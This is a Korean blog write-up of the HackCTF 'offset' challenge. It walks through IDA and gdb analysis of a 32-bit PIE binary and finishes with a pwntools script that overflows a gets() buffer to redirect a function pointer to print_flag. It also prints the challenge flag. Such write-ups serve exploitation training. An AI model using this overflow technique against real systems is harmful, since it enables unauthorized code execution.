[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 있음
바이너리 실행
- 사용자로부터 입력받음
- 일정 길이 이상 입력할 경우 Segmentation fault 발생
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-27h]@1
int *v5; // [esp+20h] [ebp-8h]@1
v5 = &argc;
setvbuf(stdout, (char *)2, 0, 0);
puts("Which function would you like to call?");
gets(&s);
select_func(&s);
return 0;
}
- gets 함수로 사용자의 입력을 받고 있음. 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
- 사용자의 입력을 select_func 함수의 인자로 주며 호출
IDA 분석 - select_func 함수
int __cdecl select_func(char *src)
{
char dest; // [esp+Eh] [ebp-2Ah]@1
int (*v3)(void); // [esp+2Ch] [ebp-Ch]@1
v3 = (int (*)(void))two;
strncpy(&dest, src, 31);
if ( !strcmp(&dest, "one") )
v3 = (int (*)(void))one;
return v3();
}
- 사용자의 입력 값은 src 변수로 활용
- dest에 사용자의 입력을 31byte만큼 복사
- dest 값이 one이면 one 함수 호출
- return v3() 부분을 one 함수 대신 print_flag 함수 주소로 overwrite할 수 있을 것으로 보임
IDA 분석 - one 함수
int one()
{
return puts("This is function one!");
}
IDA 분석 - two 함수
int two()
{
return puts("This is function two!");
}
IDA 분석 - print_flag 함수
int print_flag()
{
char i; // al@1
FILE *fp; // [esp+Ch] [ebp-Ch]@1
puts("This function is still under development.");
fp = fopen("flag.txt", "r");
for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
putchar(i);
return putchar(10);
}
- flag 획득할 수 있음
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000049c _init
0x000004d0 strcmp@plt
0x000004e0 gets@plt
0x000004f0 _IO_getc@plt
0x00000500 puts@plt
0x00000510 __libc_start_main@plt
0x00000520 setvbuf@plt
0x00000530 fopen@plt
0x00000540 putchar@plt
0x00000550 strncpy@plt
0x00000560 __cxa_finalize@plt
0x00000568 __gmon_start__@plt
0x00000570 _start
0x000005b0 __x86.get_pc_thunk.bx
0x000005c0 deregister_tm_clones
0x00000600 register_tm_clones
0x00000650 __do_global_dtors_aux
0x000006a0 frame_dummy
0x000006a9 __x86.get_pc_thunk.dx
0x000006ad two
0x000006d8 print_flag
0x00000754 one
0x0000077f select_func
0x000007dc main
0x0000084f __x86.get_pc_thunk.ax
0x00000860 __libc_csu_init
0x000008c0 __libc_csu_fini
0x000008c4 _fini
- PIE로 offset만 확인 가능. 바이너리를 실행해야 주소가 할당됨.
- main offset: 0x000007dc
- select_func offset: 0x0000077f
- one offset: 0x00000754
- two offset: 0x000006ad
- print_flag offset: 0x000006d8
gdb 분석 - select_func 함수
pwndbg> disass select_func
Dump of assembler code for function select_func:
0x0000077f <+0>: push ebp
0x00000780 <+1>: mov ebp,esp
0x00000782 <+3>: push ebx
0x00000783 <+4>: sub esp,0x34
0x00000786 <+7>: call 0x5b0 <__x86.get_pc_thunk.bx>
0x0000078b <+12>: add ebx,0x182d
0x00000791 <+18>: lea eax,[ebx-0x190b]
0x00000797 <+24>: mov DWORD PTR [ebp-0xc],eax
0x0000079a <+27>: sub esp,0x4
0x0000079d <+30>: push 0x1f
0x0000079f <+32>: push DWORD PTR [ebp+0x8]
0x000007a2 <+35>: lea eax,[ebp-0x2a]
0x000007a5 <+38>: push eax
0x000007a6 <+39>: call 0x550 <strncpy@plt>
0x000007ab <+44>: add esp,0x10
0x000007ae <+47>: sub esp,0x8
0x000007b1 <+50>: lea eax,[ebx-0x1675]
0x000007b7 <+56>: push eax
0x000007b8 <+57>: lea eax,[ebp-0x2a]
0x000007bb <+60>: push eax
0x000007bc <+61>: call 0x4d0 <strcmp@plt>
0x000007c1 <+66>: add esp,0x10
0x000007c4 <+69>: test eax,eax
0x000007c6 <+71>: jne 0x7d1 <select_func+82>
0x000007c8 <+73>: lea eax,[ebx-0x1864]
0x000007ce <+79>: mov DWORD PTR [ebp-0xc],eax
0x000007d1 <+82>: mov eax,DWORD PTR [ebp-0xc]
0x000007d4 <+85>: call eax
0x000007d6 <+87>: nop
0x000007d7 <+88>: mov ebx,DWORD PTR [ebp-0x4]
0x000007da <+91>: leave
0x000007db <+92>: ret
End of assembler dump.
- select_func+73~85 부분에서 one 함수를 호출함
- ebp-0xc로 one 함수 주소를 저장하는 것으로 보아 입력 값과 둘간의 offset을 구하면 변조할 수 있을 것으로 보임
- select_func+69에 bp 걸어 임의의 입력 값 입력
- 사용자의 입력은 0xffffcfde에 저장
- one 함수 주소는 0xffffcffc에 저장
- 사용자의 입력~0xffffcffc까지의 offset = 30(0x1e)
문제 해결
💡 dummy(30) + print_flag_Address or offset
- PIE가 걸려있지만 base주소만 바뀌고 offset은 고정
- 1바이트 bof가 발생하므로 주소 offset의 하위 1바이트를 변조할 수 있음
Python2
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')
p.recvuntil("?")
payload = "A"*30 + p32(e.symbols['print_flag']) //print_flag 전체 주소를 넣어도 하위 1바이트만 변조되기 때문에 정상적으로 입력됨
#payload = "A"*30 + p32(0xd8)
p.sendline(payload)
p.interactive()
Python3
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')
p.recvuntil("?")
payload = b"A"*30 + p32(e.symbols['print_flag'])
#payload = b"A"*30 + p32(0xd8)
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{76155655017129668567067265451379677609132507783606}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] x64 Simple_size_BOF (0) | 2022.10.30 |
---|---|
[HackCTF] Simple_Overflow_ver_2 (0) | 2022.10.30 |
[HackCTF] BOF_PIE (0) | 2022.10.30 |
[HackCTF] Yes or no (0) | 2022.10.30 |
[HackCTF] RTL_World (0) | 2022.10.30 |